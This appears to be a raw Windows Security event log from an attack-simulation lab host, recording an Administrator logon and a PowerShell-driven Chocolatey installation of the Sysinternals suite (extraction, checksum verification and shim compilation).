Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x950E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246286 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246285 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246284 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc64 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc68 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\sxrir2ow.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246293 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x260 - New Process Name: C:\ProgramData\chocolatey\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x890 - Creator Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\choco.exe" list --local-only --limit-output --all-versions - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246292 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x890 - New Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc68 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: C:\ProgramData\chocolatey\bin\choco.exe list --local-only --limit-output --all-versions - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246295 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x830 - New Process Name: C:\ProgramData\chocolatey\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xffc - Creator Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\choco.exe" install sysinternals --fail-on-unfound --yes --no-progress --limit-output --timeout 2700 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246294 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xffc - New Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc68 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: C:\ProgramData\chocolatey\bin\choco.exe install sysinternals --fail-on-unfound --yes --no-progress --limit-output --timeout 2700 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246298 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x994 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfdc - Creator Process Name: C:\ProgramData\chocolatey\tools\7z.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246297 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfdc - New Process Name: C:\ProgramData\chocolatey\tools\7z.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\7z.exe" x -aoa -bd -bb1 -o"C:\ProgramData\chocolatey\lib\sysinternals\tools" -y "C:\Users\Administrator\AppData\Local\Temp\chocolatey\sysinternals\2021.2.22\SysinternalsSuite.zip" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246296 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf18 - New Process Name: C:\ProgramData\chocolatey\tools\checksum.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\helpers\..\tools\checksum.exe" -c="2000391d565c62a89350fc1412a32443c72bdfc99631388a0a0c5adaa3a84bc7" -t="sha256" -f="C:\Users\Administrator\AppData\Local\Temp\chocolatey\sysinternals\2021.2.22\SysinternalsSuite.zip" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246300 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x42c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc48 - Creator Process Name: C:\Windows\System32\shutdown.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246299 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc48 - New Process Name: C:\Windows\System32\shutdown.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\Windows\System32\shutdown.exe" /a - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246317 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd08 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x290 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246316 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x290 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ADExplorer.exe" --output="C:\ProgramData\chocolatey\bin\ADExplorer.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ADExplorer.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246315 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf9c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc4c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESAC48.tmp" "c:\ProgramData\chocolatey\bin\CSC7B817B8726294050A4BD259ABE78228B.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246314 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa44 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc4c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246313 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc4c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe70 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\AccessEnum.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123401_7712\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123401_7712\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123401_7712\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123401_7712\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123401_7712\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246312 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcac - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe70 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246311 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe70 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\AccessEnum.exe" --output="C:\ProgramData\chocolatey\bin\AccessEnum.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\AccessEnum.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246310 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb10 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2d4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe 